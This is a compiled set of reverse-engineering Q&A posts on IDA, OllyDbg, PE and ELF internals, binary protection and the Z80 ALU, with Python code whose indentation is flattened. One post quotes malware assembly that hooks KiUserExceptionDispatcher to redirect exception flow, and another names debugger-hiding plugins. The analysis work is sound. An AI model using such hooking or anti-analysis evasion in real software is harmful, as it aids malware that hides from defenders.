<p><a href="https://msdn.microsoft.com/en-in/library/windows/desktop/ms679360(v=vs.85).aspx"><code>GetLastError</code></a> simply returns <code>LastErrorValue</code> from the <a href="http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/thread/teb.html"><code>TEB</code></a> (<code>Thread Environment Block</code>) of the thread concerned.</p>
<p>You can access <code>TEB</code> of the current thread through the segment register <code>FS</code>.</p>
<p><code>FS:[0x18]</code> contains the pointer to <code>TEB</code>.</p>
|
8726
|
2015-04-19T01:56:06.670
|
<p>There's a closed source binary that I'm analyzing, and there's a call to <code>VirtualProtect</code> that fails.</p>
<p>However, <code>VirtualProtect</code> stores the error code somewhere accesible only via <code>GetLastError</code>, and the binary doesn't even import that function.</p>
<p>Can I somehow get the error code without hooking?</p>
|
Can I get the last error using IDA under Windows?
|
|ida|
|
<p>I don't know about existence of such an ability in IDA, but you can do it with IDAPython as follows:</p>
<pre><code>#I didn't check this code, use carefully, beware of errors
import idc
import idaapi
import idautils
def set_breakpoints_on_calls(ea):
print "Setting breakpoints on ", hex(ea)
for ref in idautils.CodeRefsTo(ea, 0):
print "Adding bpt on ", hex(ref)
idc.AddBpt(ref)
def set_breakpoints_on_screen_ea():
print "Started"
set_breakpoints_on_calls(idc.ScreenEA())
idaapi.add_hotkey("Alt-Z", set_breakpoints_on_screen_ea)
</code></pre>
<p>By running this code from execute script window you are adding hotkey Alt-Z
which sets breakpoints to all calls to the address where cursor is located.
You can add this code to <code>idapythonrc.py</code> file in IDA root folder to make this shortcut persistent (you'll need to rerun IDA after it).</p>
|
8732
|
2015-04-20T03:46:42.333
|
<p>Is there a way to set breakpoints on all references in one click like we do in OllyDBG "Set breakpoint on every reference" ?</p>
<p>E.g: after locating CreateFileA API and pressing "x" to see all references, we can see where all calls for this function are ... but is there a way to set bps on all calls in one click ?</p>
|
Set breakpoints on all references in IDA
|
|ida|idapython|
|
<p><a href="http://woodmann.com/krobar/beginner/221.html" rel="nofollow">#cracking4newbies</a> on <a href="http://en.wikipedia.org/wiki/EFnet" rel="nofollow">EFnet</a></p>
|
8738
|
2015-04-21T14:21:44.363
|
<p>I enjoy idling in programming related IRC channels so I can research any topic which catches my interest. I have checked the channels for a few forums that I browse, but I can't seem to find an active community. What are some active RCE related channels? It can be about malware analysis / tools / general help / etc, anything.</p>
<p>Hopefully this is on topic. I can't think of anywhere else to ask.</p>
|
Are there any active IRC channels for RCE discussion?
|
|disassembly|
|
<p>The import table can theoretically have as many references to a DLL as there are imports. It is a function of the linker that produces this effect, and in some cases, the linker does not perform any kind of string pooling.</p>
<p>Borland products treat units as stand-alone objects, so any imported functions that are used are included without reference to any others. The effect is a DLL name, a group of imports for that DLL for the first unit; a DLL name (which might be duplicated), a group of imports for that DLL for the second unit (any or all of which might also be duplicated from the first group); and so on.</p>
<p>As far as TLS goes, the TLS directory entry is present only when the program uses EXplicit TLS. i.e. it declares a static TLS entry that the linker can see, and which Windows must initialise when the program first starts (because the program might use it immediately). The use of dynamic TLS (TlsAlloc, TlsFree) is entirely within program control, and the program is required to perform the initialisation itself.</p>
|
8749
|
2015-04-23T09:11:13.087
|
<p>According to what I know, Import Descriptor table is made of an array of <code>_IMAGE_IMPORT_DESCRIPTOR</code> structures. There is one <code>_IMAGE_IMPORT_DESCRIPTOR</code> for every dll that is imported.</p>
<p>I have an exe which has two <code>_IMAGE_IMPORT_DESCRIPTOR</code> for <em>kernel32.dll</em>.
<br><strong>Why is this so?
<br>Why does this exe need to import the dll twice ?</strong></p>
<p>Note: I'm using <em>PEview</em> to see the PE structure. Is it possible that PEview is getting confused? Even if there is a problem with <em>PEview</em> <strong>is it possible for an exe to import the same dll twice</strong>?</p>
<hr>
<p>I have another doubt regarding the TLS directory in the PE Structure.</p>
<p><strong>Is the TLS directory/Table which is present in the <code>IMAGE_OPTIONAL_HEADER</code> of the PE, present only when the exe/program uses implicit TLS</strong> (i.e. <code>__declspec(thread)</code>) and not when we use API(i.e. explicit TLS using functions like <code>TlsAlloc</code>, <code>TlsFree</code>, <code>TlsSetValue</code> and <code>TlsGetValue</code> etc.).</p>
<p>Is it common for program's to use this? I have read it in many places that this can be a heuristic for malicious executable.</p>
|
Why does an exe's import Table have two refrences to kernel32.dll (or any other dll)?
|
|windows|x86|malware|pe|security|
|
<p><strong>Well if you want to know how it was done exactly</strong></p>
<p>Then download the <strong>Z80 die shot</strong> of model you want to investigate, crop the <strong>ALU</strong> part and identify all the gates you can until you dig to <strong>Zero flag</strong> your self (sorry for indirect answer).</p>
<p><strong>Here my Z80 ALU post processed die shot</strong></p>
<p><img src="https://i.stack.imgur.com/rkIpx.png" alt="Z80 ALU"></p>
<ul>
<li>white - metal</li>
<li>green - poly-Si</li>
<li>red - dopped-Si (diffusion)</li>
<li>Gray - conductive joints between layers</li>
</ul>
<p>Try to identify all gates and buses you can (and mark them to the image)</p>
<p><img src="https://i.stack.imgur.com/ORk25.png" alt="Z80 ALU labeled"></p>
<p>When found familiar structure like <strong>Wire OR, (N)OR</strong> cascade, ... then you will know for sure. Just try to find the basic components like:</p>
<p><img src="https://i.stack.imgur.com/yZf5a.png" alt="Components"></p>
<p>form the circuit schematics and make some sense of it.</p>
|
8755
|
2015-04-24T02:09:32.750
|
<p>Z80 was a popular 8-bit processor with a 4-bit ALU.</p>
<p><img src="https://i.stack.imgur.com/5tueN.png" alt="Z80 ALU"></p>
<p>Implementing a zero flag for a register should be straight forward, it would be a logical <code>NOR</code> of all the bits on the register.</p>
<p><img src="https://i.stack.imgur.com/RG7f4.png" alt="Gigantic NOR"></p>
<p>Something like that would work for a small number of inputs. As for a 64-bit processor you cannot make one gigantic <code>NOR</code> gate with 64 inputs. The fan-in would be too high. 8 transistors would be in series. The circuit capacitance would be high thus slowing down everything else.</p>
<p>I can see some other options.</p>
<ul>
<li>The zero flag could be generated directly from the 8-bit result using 2 level logic.</li>
</ul>
<p><img src="https://i.stack.imgur.com/tLlMR.png" alt="two level logic">
<img src="https://i.stack.imgur.com/OOodj.png" alt="two level logic"></p>
<ul>
<li>The zero flag could be generated directly from the 8-bit result using 3 level logic.</li>
</ul>
<p><img src="https://i.stack.imgur.com/2xBFt.png" alt="three level logic"></p>
<ul>
<li>The zero flag could be generated from each nibble and then put together, like if there was a "half"-zero flag. The result for the lower would be saved using a flip-flop while waiting for the high nibble result to be calculated.</li>
</ul>
<p><img src="https://i.stack.imgur.com/anAW5.png" alt="Nibble"></p>
<p><a href="http://www.righto.com/2013/09/the-z-80-has-4-bit-alu-heres-how-it.html" rel="noreferrer">Ken Shirriff</a> wrote a nice article about reverse engineering the Z80 ALU. However when it comes to the zero flag he states:</p>
<blockquote>
<p>Not shown in the block diagram are the simple circuits to compute parity, <strong>test for zero</strong>, and check if a 4-bit value is less than 10. These values are used to set the condition flags.</p>
</blockquote>
<p>So, although they are simple circuits I would like to know exactly how they were implemented and if they used any of the implementations proposed above or something else completely different.</p>
|
How was the Zero Flag implemented on Z80 ALU?
|
|hardware|
|
<p>You might want to review an answer I provided before <a href="https://reverseengineering.stackexchange.com/questions/118">over here</a>. Themida and CodeVirtualizer are fine. If you want something stronger you should keep your code on a server or run it on a dedicated hardware dongle intended for copy protection. Make sure the dongle is one that actually runs your algorithms and doesn't just encrypt some parts of the code and run it on the PC side.</p>
<p>Be aware though that all they do is increase the amount of motivation an adversary needs in order to find out how your stuff works. I would examine what the value of your secrets really are. The best something like CodeVirtualizer and Themida can achieve is to create the equivalent of a black box. However it will always be possible to probe your black box with different inputs and observe the outputs. So in best case your protected code will be equivalent to keeping your code running on a server, only accessible offline. If offline is a requirement you're stuck with these sorts of solutions, either something commercial off the shelf or something homegrown. Otherwise I would strong recommending centralizing as much as possible of your algorithms on a server. Why not make your DLL for Tradestation a thin wrapper around a web API?</p>
<p>Trading algorithms, if effective, can definitely fall under something that would be valuable enough to protect on a server. </p>
<p>There's also the issue of mistranslations where CodeVirtualizer or Themida does an incorrect translation of the machine instructions into their own VM instructions which could lead to bugs. Are you willing to accept an incorrect trade and possibly holding a bad position due to translation bugs in the translation engine of Themida, VMProtect or whatever you choose to use?</p>
|
8756
|
2015-04-24T04:25:17.073
|
<p>I am new to reverse engineering and file protections. I have made a trading algorithm for Tradestation that I have put into a C++ DLL instead of having the source laying around, and I want to protect it further from reverse engineering. Is there something stronger than Themida out there?</p>
|
Stronger than Themida?
|
|decompilation|
|
<p>There's no sure-proof way to do it. Non-virtual methods look exactly like normal functions except they take an implicit 'this' pointer. If you are dealing with visual C++ compiled program then it will probably be a bit more obvious as usually it uses <strong>thiscall</strong> calling convention so you just need to watch for cases when the instance address is in ecx at function entry. See <a href="http://www.openrce.org/articles/full_view/23" rel="nofollow">my article</a> for more details.</p>
<p>Of course, if you have symbols then it's very easy - just check for <code>classname::</code> prefix in the demangled function name.</p>
|
8758
|
2015-04-24T10:57:39.527
|
<p>I know how to find and hook virtual methods by crawling an object's RTTI. I cannot find enough information about non-virtual class methods. </p>
<ol>
<li><p>Is there anyway to identify non-virtual class methods at run-time? </p></li>
<li><p>Can I use a class's symbol name to recover any information about it at run-time?</p></li>
</ol>
|
How can I recover / locate non-virtual class methods at run-time?
|
|disassembly|c++|dynamic-analysis|
|
<p>The FF 15 is an absolute indirect call. It is fetching the value at a memory location, and then transferring control to the fetched address.</p>
<p>In order to specify that memory location precisely, the CPU needs both the segment register and the address. In the absence of an explicit request (2E for CS, for example), or a mode which has an implicit override (use of EBP selects SS:), DS: is used. Despite Windows using a flat memory model, nothing prevents the segment registers from having other values assigned to them: 32-bit Windows supports Local Descriptor Table entries, for example, and there are tricks where DS: is given the value of FS:, to perform non-obvious SEH registration.</p>
<p>IDA displays the segment register to remove any ambiguity as to which segment register is in use.</p>
|
8760
|
2015-04-24T11:46:44.207
|
<p>In windows PE files (32 and 64 bit) calls to imported functions look like this in IDA PRO:</p>
<pre><code>call ds:SetEvent // default setting
call [ds:SetEvent] // Target Assembler set to TASM
</code></pre>
<p>I understand what it does (indirect call, import table, ...) but what I do not understand:
Why is IDA adding the <code>ds:</code> in front of the function name?
I checked the opcode, it is <code>FF 15</code> meaning a <em>near</em> call.</p>
<p>If I am right to assume that the <code>ds</code> is a segment register, there is no need to specify it as a near call means a call of a function inside the same segment.</p>
<p>Could someone explain why IDA is adding the <code>ds:</code> anyway and what it is good for?</p>
|
Call to an imported function in a PE file: Why is destination prepended with ds (call ds:func_name)?
|
|ida|disassembly|assembly|disassemblers|segmentation|
|
<p>In these cases the target of the calls is generated at runtime and can not be determined statically (with very few exceptions). </p>
<p>You need to record this information while running the binary and incorporate the extra info into your IDB by using the AddCodeXref API or alike.</p>
<p>If you don't want to write your own thing, this plugin can assist you in doing that and more: <a href="https://github.com/deresz/funcap" rel="nofollow">funcap</a></p>
<p><strong>EDIT</strong></p>
<p>In the case of <em>jmp subxxx</em> the target of the jump is well defined. You could programatically go throught the whole binary, extract the target of the jump and add the cross reference. </p>
<p>I hacked something together, give it a try.</p>
<pre><code>def is_external_jmp(ins_ea):
"""
True for JMPs between functions.
NN_JMP (86): jmp sub_xxx (0xE9 + offset) or jmp loc_xxx (0xE9 + offset)
"""
decode_insn(ins_ea)
if cmd.itype == NN_jmp:
# HACK: GetOperandValue returns the target
# address, not the offset (as I would expect)
target = GetOperandValue(ins_ea, 0)
(s, e) = current_function_boundaries(ins_ea)
if target < s or target > e:
# Not within the current function
return True
return False
def current_function_boundaries(ea=None):
"""
Convenience function
@returns: boundaries or None
"""
if not ea:
ea = ScreenEA()
f = get_func(ea)
if not f:
# Probably called outside a function
return (None, None)
else:
return (f.startEA, f.endEA)
def main():
for f_ea in Functions():
for ins_ea in FuncItems(f_ea):
if is_external_jmp(ins):
# One of these "jmp sub_xxx"
target = GetOperandValue(ins_ea, 0)
AddCodeXref(ins_ea, target, fl_CN)
if __name__ == '__main__':
main()
</code></pre>
|
8776
|
2015-04-27T16:52:28.960
|
<p>I have large PE file (C++), which has lots of indirect function calls using <code>vtable</code> and <code>jmp dword</code>.</p>
<p>How can I generate a call tree for such functions ? (like with IDA User xrefs chart menu).</p>
<p>Here is an example of disassembled code:</p>
<pre><code>UPX1:2401135C sub_2401135C proc near ; CODE XREF: sub_2401263C+Cp
UPX1:2401135C ; StartAddress+21p ...
UPX1:2401135C test eax, eax
UPX1:2401135E jz short locret_2401136A
UPX1:24011360 call ds:off_24057054
UPX1:24011366 or eax, eax
UPX1:24011368 jnz short loc_2401136B
UPX1:2401136A
UPX1:2401136A locret_2401136A: ; CODE XREF: sub_2401135C+2j
UPX1:2401136A retn
UPX1:2401136B ; ---------------------------------------------------------------------------
UPX1:2401136B
UPX1:2401136B loc_2401136B: ; CODE XREF: sub_2401135C+Cj
UPX1:2401136B mov al, 2
UPX1:2401136D jmp sub_2401141C
UPX1:2401136D sub_2401135C endp
</code></pre>
<p>User xref chart can show only call <code>ds:off_24057054</code> branch if I will include data xrefs. What can I do to see the <code>jmp sub_2401141C</code> branch ?</p>
|
How can i generate function call tree in IDA for non-standart function calls?
|
|ida|
|
<p>It is quite possible for Ollydbg's plugin to interfere with each other. Generally you should only keep plugins that you use. </p>
<p>The best anti-debugging plugins for Ollydbg as of now are <em><a href="https://bitbucket.org/NtQuery/scyllahide" rel="nofollow">ScyllaHide</a></em> for user-mode and <em><a href="https://bitbucket.org/mrexodia/titanhide" rel="nofollow">TitanHide</a></em> for kernel mode. Both of them are open source and well maintained.</p>
|
8786
|
2015-04-30T06:10:21.397
|
<p>I have recently started using plugins for OllyDbg 1.10. Thanks to this <a href="https://tuts4you.com/download.php?list.9" rel="nofollow">site</a>, I have an idea of the capabilities of the plugins for OllyDbg. </p>
<p>As I have only a very basic idea of how plugins work, I was wondering, do plugins interfere with each other? For example, if I use multiple plugins that deals with the same anti-debugging techniques, is it possible that they may conflict with each other and mess with what I would ideally want, which is to hide my debugger? Thanks!</p>
|
Conflict of OllyDbg plugins
|
|ollydbg|anti-debugging|plugin|
|
<p>If the arguments of the function on stack is a pointer (such as <code>pThreadId</code> for <code>CreateThread</code>), then follow the steps below. Otherwise if the argument is some value (like <code>CreationFlags</code>) then refer to <em>AcidShout's</em> answer. </p>
<p><strong>1.</strong> Right click on the address on the stack -> Chose <em>Follow in Dump</em>.
<img src="https://i.stack.imgur.com/Sr42P.png" alt="enter image description here"></p>
<p><strong>2.</strong> In the dump window, right click on the value -> <em>Breakpoint</em> -> H<em>ardware on access</em> -> <em>Byte / Word / Dword</em></p>
<p><img src="https://i.stack.imgur.com/DJl27.png" alt="enter image description here"></p>
|
8788
|
2015-04-30T16:53:42.720
|
<p>Is there any way to set a breakpoint at the specific location on the stack in OllyDbg?</p>
<p>I have some value (argument of the function) on the stack and I want to break on every memory access at this location.</p>
<p>Thanks in advance.</p>
|
How to set a breakpoint at the specific location on the stack in OllyDbg
|
|ollydbg|
|
<p>There are a number of ways to accomplish what you've stated. Generally, more robust techniques, while affording a higher level of protection, will also put more burden on the programmer creating the software. So in approximately increasing order of difficulty, here are some ideas:</p>
<h2>Store the data non-contiguously</h2>
<p>The simplest approach is to simply not store the data contiguously. That is, store the data in separate pieces and reassemble it at runtime just before you need it. With this as with all of the other techniques, it's generally recommended to keep the value in memory for as short a duration as is practical.</p>
<h2>Obfuscate the stored data</h2>
<p>There are many ways to obfuscate data. One simple method is to simply XOR with some fixed constant. A more sophisticated approach is to encrypt the data, but unless you have some secure way to store the encryption key, this might not actually offer that much more security. One possibility would be to use a cryptographic hash of the entire program (minus the protected data) as the encryption key. This would largely prevent alteration of the binary as well as providing a non-obvious way to store the key.</p>
<h2>Recalculate the data at runtime</h2>
<p>If you can avoid storing the data at all, we eliminate the problem of being able to derive it from static analysis. If you are precomputing hashes of certain data for performance reasons, consider doing so at program startup instead of at compile time. Alternatively, if the data is fixed, consider writing a polymorphic generator which could be included at compile time. That is, write a program that takes a fixed constant and generates code which, when run, produces that value without explicitly including it. Then link the generated code with your program. Because the polymorphic generator would be part of the build process rather than part of the runtime, it is much less likely to trigger a A/V warning.</p>
<h3>Proof of concept for this idea</h3>
<p>I wrote a little program in C++ to more fully demonstrate this technique. Here is the program:</p>
<h3>linear.cpp</h3>
<pre><code>#include <iostream>
#include <cstdlib>
#include <random>
int main(int argc, char *argv[])
{
std::random_device rd;
std::uniform_int_distribution<> r{-32768,32767};
for (int i=1; i < argc; ++i) {
int y = std::atoi(argv[i]);
int x;
for (x=r(rd); x==0; x= r(rd)); // make sure x!=0
int m = r(rd);
int b = y-m*x;
std::cout << "int generate" << i << "(int x) { return x * " << m << " + " << b << "; }\n";
std::cout << "\tassert(" << y << " == generate" << i << "(" << x << "));\n";
}
}
</code></pre>
<h3>How it works</h3>
<p>This is a very simple program that takes a series of integers as input and creates one linear function per integer. For example, with this command line:</p>
<pre><code>./linear 39181 3802830 938833 -41418699
</code></pre>
<p>The program generated the following output:</p>
<pre><code>int generate1(int x) { return x * -5646 + 182450149; }
assert(39181 == generate1(32308));
int generate2(int x) { return x * -14922 + 10696794; }
assert(3802830 == generate2(462));
int generate3(int x) { return x * -15424 + -320805807; }
assert(938833 == generate3(-20860));
int generate4(int x) { return x * -8144 + -127093579; }
assert(-41418699 == generate4(-10520));
</code></pre>
<p>The <code>assert</code>s are simply there for documentation and testing. In real usage, if you want to recreate the constant <code>39181</code> in your code, you would use <code>generate1(32308)</code>. If we rearrange the lines into a full program, we get this:</p>
<h3>tryme.cpp</h3>
<pre><code>int generate1(int x) { return x * -5646 + 182450149; }
int generate2(int x) { return x * -14922 + 10696794; }
int generate3(int x) { return x * -15424 + -320805807; }
int generate4(int x) { return x * -8144 + -127093579; }
#include <cassert>
int main() {
assert(39181 == generate1(32308));
assert(3802830 == generate2(462));
assert(938833 == generate3(-20860));
assert(-41418699 == generate4(-10520));
}
</code></pre>
<p>Obviously, you could multiply or concatenate these if you need longer numbers or strings, and my choice of linear functions with the random number value range I chose was entirely arbitrary. Feel free to substitute and experiment.</p>
<h2>Fetch the data remotely</h2>
<p>Depending on the environment, it may be possible to store the data remotely and then fetch it securely via something like HTTPS when and as needed. Be aware that doing this could also mean that even an ordinary network outage or misconfigured firewall would render your software inoperable, but you can decide if that is acceptable for your purposes.</p>
|
8793
|
2015-05-02T18:53:15.877
|
<p>Let's say I've some function(i.e. hash function), that generates value from input seed and some precomputed hash values, that are stored somewhere in binary. What are the possible approaches for:</p>
<ol>
<li>Protect string data against dumping</li>
<li>Protect hash algorithm from being reverse engineered for a while</li>
</ol>
<p>I understand that the goal of complete algorithm concealment from reverser is impossible but what technique will raise the efforts to do this?</p>
<p>My thoughts on this topic:</p>
<ol>
<li>Protect hash strings with <a href="http://www.sevagas.com/?String-encryption-using-macro-and" rel="noreferrer">encryption macro</a></li>
<li>Obfuscating target function using some king of obfuscation/poly/metamorphic engine in order to prevent easy algorithm recovery(can lead to AV false positive but should not harm in general)</li>
<li>Roughly generate new hash function and values for each copy of program(kind of hard to implement and maintain)</li>
</ol>
<p>Maybe anybody have better concepts that will suit my goal and be so kind to post it here.</p>
<p>P.S. please do not advice to use packers/protectors. False positive AV does not cost couple functions algorithm concealment.</p>
<p><strong>UPD</strong></p>
<p><a href="https://mega.co.nz/#!3VxkFaLQ!3Vs8Tl6nf_9cssH-Xe8yYuaST3r1E_E13n6Af9jW2l8" rel="noreferrer">Here</a> is the implementation if string protection written in C++. I don't know if this solution be useful for other people but it's worth mentioning though. </p>
|
Protect data stored in binary
|
|binary-analysis|obfuscation|static-analysis|encryption|
|
<p>You can enable <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff556886(v=vs.85).aspx" rel="nofollow"><code>FLG_SHOW_LDR_SNAPS</code></a> in <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx" rel="nofollow">GFlags</a> to get DLL loading and unloading notifications in WinDbg or <a href="https://technet.microsoft.com/en-us/library/bb896647.aspx" rel="nofollow">DebugView</a> for all processes on the system.</p>
|
8805
|
2015-05-04T06:38:18.507
|
<p>I want to know which DLL is loaded/unloaded in which process (globally).
The purpose is to find a process loading and unloading DLLs on the fly.
I use following breakpoints in windbg (kd), but nothing found!</p>
<p><code>bp kernel32!LoadlibraryA "da poi(esp+4);g"
bp kernel32!LoadlibraryW "du poi(esp+4);g"
</code></p>
<p>any user/kernel mode ida?</p>
|
Dynamic list of user-mode dlls in windows
|
|windows|
|
<p>The malware overwrites the usermode exception dispatcher (<code>KiUserExceptionDispatcher()</code>) with the following:</p>
<pre><code>PUSH malware.004035C2
RETN
</code></pre>
<p>The code above is equivalent to <code>JMP malware.004035C2</code>.</p>
<p>Now whenever any usermode exception occurs in the process, the function at <code>malware.004035C2</code> will be executed instead of (or at least before) the registered <a href="http://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#Structured_Exception_Handling" rel="nofollow">SEH</a> functions.</p>
<p>The malware likely uses this "trick" in combination with the <code>UD2</code> instruction in order to confuse disassemblers, since most disassemblers won't automatically figure out that the <code>UD2</code> instruction now effectively jumps to <code>malware.004035C2</code>. This type of obfuscation trick is often used to make automated static analysis of code-flow more difficult.</p>
|
8809
|
2015-05-04T14:18:34.810
|
<p>i am analyzing a piece of malware in which first the address to "KiUserExceptionDispatcher" is obtained(using the Export Name Table, going to Export Ordinal Table and then finally to Export Address Table). Once the address(7773A408) is received, the malware overwrites the first 6 bytes with the following lines :</p>
<pre><code> (here is the finding part)
...
mov BYTE PTR DS:[EDX], 68 -> EDX contains ntdll.KiUserExceptionDispatcher
mov DWORD PTR DS:[EDX+1], malware.004035C2
mov BYTE PTR DS:[EDX+5], 0C3
....
</code></pre>
<p>So, the hex window at 7773A408 (address of KiUserExceptionDispatcher) changes in the following way:</p>
<pre><code> 7773A408 FC 8B 4C 24 | 04 8B .... (and so on) <- original
7773A408 68 C2 35 40 | 00 C3 .....(and so on) <- after overwriting
</code></pre>
<p>So, what happens then is that the malware reaches a "UD2" instruction. I looked it up: it raises an invalid opcode exception.
Then the malware jumps to </p>
<pre><code> 7773A40D RETN
</code></pre>
<p>which then leads me to:</p>
<pre><code>004035C2 DB 8B <- clear, because 004035C2 starts at 7773A40D (hex window)
</code></pre>
<p>and then finally to another place where a whole new function begins.
So, my question would be: Is it right to assume that the malware tries to change exception handler by overwriting it with 004035C2 to redirect the excetion flow? Why is the exception handler of UD2 the first 6 bytes of KiUserExceptionDispatcher? </p>
<p>best regards,</p>
|
KiUserExceptionDispatcher hook
|
|assembly|exception|
|
<p>You have 3 alternatives:</p>
<ol>
<li><p>You can just run the function by its name. If you already ran your script, defined functions should remain in the Python interpreter context.</p></li>
<li><p>You can add the path of your script to sys.path and import the script again. It should looks as follows:</p>
<pre><code>import sys
sys.path.append("path to your folder with the script")
import your_script_name
</code></pre></li>
<li><p>You can add this (addition to sys.path and import) into file <code>idapythonrc.py</code> in the root of IDA installation and this script will be imported each time you running IDA.</p></li>
</ol>
|
8817
|
2015-05-05T08:11:20.800
|
<p>I wrote a script containing several functions, which I loaded in IDA pro. From IDAPython now I'd want to call a specific function. Is it possible? Which idaapi functions should I use to call my functions in the script?</p>
<p>EDIT:
I am running IDA on a linux system and the script has been written in python.</p>
|
Calling functions from IDAPython
|
|ida|idapython|ida-plugin|
|
<p><a href="https://lief-project.github.io/" rel="nofollow noreferrer">LIEF</a> is a good choice for parsing ELF binaries. It's written in C++, but comes with proper <a href="https://pypi.org/project/lief/" rel="nofollow noreferrer">Python bindings</a> and is readily <a href="https://pypi.org/project/lief/" rel="nofollow noreferrer">available via PyPi</a>. Besides parsing ELF files it also supports Windows PE and MacOS binaries, reading <em>and</em> modifying and writing all of them, that is.</p>
<p>It's available since 2017 and is <a href="https://lief-project.github.io/blog/2022-01-23-new-elf-builder/" rel="nofollow noreferrer">actively maintained (example)</a>.</p>
<p>LIEF is pretty light-weight and doesn't require many dependencies.</p>
|
8824
|
2015-05-06T11:14:58.777
|
<p>I want to be able to parse 32 and 64 bit ELF files - but not create or modify them (e.g. as discussed in <a href="https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables">this thread</a>). The ELF binaries may possibly come from embedded Linux systems, that is, the library should not be irritated by MIPS, ARM and other non-x86 architectures.</p>
<p>What I have considered: </p>
<ul>
<li><a href="https://github.com/eliben/pyelftools" rel="noreferrer">pyelftools</a> (my currently favored option)</li>
<li><a href="https://github.com/crackinglandia/pylibelf" rel="noreferrer">pylibelf</a></li>
<li><a href="https://code.google.com/p/pydevtools/" rel="noreferrer">pydevtools</a></li>
<li>Also an option: using a C library and ctypes.</li>
</ul>
<p>Do I have forgotten something?
Which of the above options would you prefer? </p>
<p>For those who had some practical experience with pylibelf or pydeftools: These seem no longer updated (last commit: 2013 and 2012), are they mature enough?</p>
|
Which python library for parsing Linux ELF files?
|
|binary-analysis|linux|idapython|elf|python|
|
<p>Use GetOperandValue instead of GetOpnd to get the memory location.<p></p>
<pre><code>Python>GetOpnd(0xb77a2d99,0)
__Unwind_Resume
Python>'%x'%(GetOperandValue(0xb77a2d99,0))
b76fc24e
</code></pre>
|
8828
|
2015-05-06T15:46:01.037
|
<p>In my code, I am using <code>idc.GetOpnd(ea,0)</code> and <code>idc.GetOpnd(ea,1)</code> to get the 2 operands of an instruction. However, if its a <code>call</code> (or <code>jmp</code>) instruction, I am getting symbols like <code>_perror</code> and <code>loc_8083BA9</code>. </p>
<p>Using IDAPython, is it possible to remove all the symbols and deal only with memory locations.</p>
|
Get memory locations using IDAPython
|
|ida|idapython|
|
<p>You may consult pages 39-41 in the thesis </p>
<blockquote>
<p>"Code Obfuscation and Malware Detection by Abstract Interpretation"</p>
</blockquote>
<p>of M. Dalla Preda about formal obfuscation; or sections 4.4 and 4.5 in the orignal paper </p>
<blockquote>
<p>"Systematic Design of Program Transformation Frameworks by Abstract
Interpretation"</p>
</blockquote>
<p>of Cousot and Cousot.</p>
<p>The theory is formal and requires much more technical details than the following interpretation, but the idea is that:</p>
<p>The "finite trace" semantics of a program <code>P</code> is defined by the set of all finite traces of <code>P</code>. A trace is nothing but a finite sequence of states of <code>P</code>, obtained when running <code>P</code>, step-by-step over "commands" of <code>P</code>. </p>
<p>(You may note that, from a state, we can get a set of possible next states, because the command at this state can be nondeterministic: it can receive some value from environment).</p>
<p>To calculate the finite trace semantics of <code>P</code>, one way (which one is refered in your book) is to use a function <code>F</code> defined from FinSeqs to FinSeqs:</p>
<pre><code>F : FinSeq -> FinSeq
</code></pre>
<p>where <code>FinSeqs</code> is the set of all "sub-set of finite sequences of states of <code>P</code>" (you may think that each sub-set is a possible value for the "finite trace" semantics of <code>P</code>). </p>
<p>This function <code>F</code> map a sub-set <code>X</code> to a sub-set <code>X'</code> so that each trace <code>x'</code> of <code>X'</code> has a trace <code>x</code> of <code>X</code> as suffix (that is the reason why it is called "backward" in the paper of Cousot and Cousot). Particularly, we have that</p>
<pre><code>x' = sj . x
x = si . x1
</code></pre>
<p>and <code>sj</code> must be able to be a next state of <code>si</code>. The least fixpoint of the function <code>F</code>, namely some set <code>Xp</code> so that</p>
<pre><code>F(Xp) = Xp
</code></pre>
<p>is called the trace semantics of <code>P</code>.</p>
|
8830
|
2015-05-06T19:52:32.747
|
<p>I was reading through the chapter on Obfuscation in "Practical Reverse Engineering" I encountered the following statement.</p>
<blockquote>
<p>Where X is the set of execution traces (finite and infinite), you can
express the trace semantics as the least solution (for the
computational partial ordering) of a fixpoint equation X = F( X).</p>
</blockquote>
<p>Could someone explain what that means in simple terms? If you could point me towards any resources for further reading and learning, that'd be great too.</p>
|
Expressing trace semantics as a solution for a fixpoint equation
|
|obfuscation|program-analysis|
|
<p>The <code>neg / sbb / neg</code> code in your question is the equivalent of the following C code:</p>
<pre><code>eax = (eax != 0)
</code></pre>
<p>In other words, the function returns <code>GetModuleHandleW("ntdll.dll") != NULL</code>.</p>
<p>The <code>neg / sbb / neg</code> construct is explained in detail here:</p>
<p><a href="https://books.google.com/books?id=_78HnPPRU_oC&pg=PT392" rel="nofollow"><em>Reversing: Secrets of Reverse Engineering</em>, section A.2.8.1. Pure Arithmetic Implementations</a></p>
|
8831
|
2015-05-06T22:25:28.357
|
<p>I have found the following lines in a sample which I try to analyze. Here, are the lines:</p>
<pre><code> ....
push afg.00401189 "ntdll.dll"
call GetmoduleHandleW
neg eax
sbb eax, eax
neg eax
RETN
</code></pre>
<p>So, I do not understand the lines after the call instruction. We have sbb instruction between two neg-operations, but what can be the purpose of that. Can somebody explain that ? </p>
<p>PS: Intuitively, I would say that at the end I have the handle to ntdll.dll in EAX...but the operations between the call and retn are very strange. I am confused.</p>
|
Processing a handle to a module
|
|assembly|
|
<p>What you're describing here is essentially the same as a static binary translator that uses a high level language such as C as its output target rather than a specific architecture. It's not quite as advanced a mechanism as decompiling but it has proven quite effective in restricted domains such as arcade video games. (eg <a href="http://vide.malban.de/vectrex-programs/vecfever" rel="nofollow noreferrer">http://vide.malban.de/vectrex-programs/vecfever</a> ) There have been a few of these written; I have code for work in progress that does this for 6809, 6502, z80 and Cinematronic CPUs for example (though probably not immediately usable - it's a coming-together of four separate background projects with no great urgency). Anyway feel free to poke around and see if there's anything here that is helpful to you: <a href="http://gtoal.com/SBTPROJECT/" rel="nofollow noreferrer">http://gtoal.com/SBTPROJECT/</a> (the 6809 one is probably the cleanest code if you're just browsing and not actually running it)</p>
<p>There's a bit of a writeup of the overall method at <a href="http://gtoal.com/sbt/" rel="nofollow noreferrer">http://gtoal.com/sbt/</a></p>
<p>Output looks something like this:</p>
<pre><code> // LDA $FFFF,X ; 0431: A6 1F
A = memory[(UINT16)(X + 0xffff)];
// N = A;
// Z = A;
// V = 0;
// LEAU ,X ; 0433: 33 84
U = X;
// LDX #$0EC8 ; 0435: 8E 0E C8
X = 0x0ec8;
// Z = X;
